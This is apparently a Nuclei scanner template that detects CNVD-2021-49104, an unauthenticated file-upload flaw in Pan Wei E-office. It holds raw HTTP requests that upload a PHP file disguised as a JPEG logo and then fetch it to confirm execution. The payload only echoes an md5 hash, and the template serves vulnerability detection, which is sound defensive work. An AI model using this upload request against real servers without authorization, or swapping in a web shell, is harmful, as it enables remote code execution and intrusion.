CNVD-2021-49104: Pan Micro E-office File Uploads

id: CNVD-2021-49104

info:
  name: Pan Micro E-office File Uploads
  author: pikpikcu
  severity: critical
  description: The Pan Wei Micro E-office version running allows arbitrary file uploads from a remote attacker.
  remediation: Pan Wei has released an update to resolve this vulnerability.
  reference:
    - https://chowdera.com/2021/12/202112200602130067.html
    - http://v10.e-office.cn
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L
    cvss-score: 9.9
    cwe-id: CWE-434
  metadata:
    max-request: 2
  tags: cnvd2021,cnvd,pan,micro,fileupload,intrusive

variables:
  string: "{{randstr}}"

http:
  - raw:
      - |
        POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4

        --e64bdf16c554bbc109cecef6451c26a4
        Content-Disposition: form-data; name="Filedata"; filename="{{randstr}}.php"
        Content-Type: image/jpeg

        <?php echo md5("{{string}}");?>

        --e64bdf16c554bbc109cecef6451c26a4--
      - |
        GET /images/logo/logo-eoffice.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(string)}}'
      - type: word
        part: body
        words:
          - "94d01a2324ce38a2e29a629c54190f67"

      - type: status
        status:
          - 200
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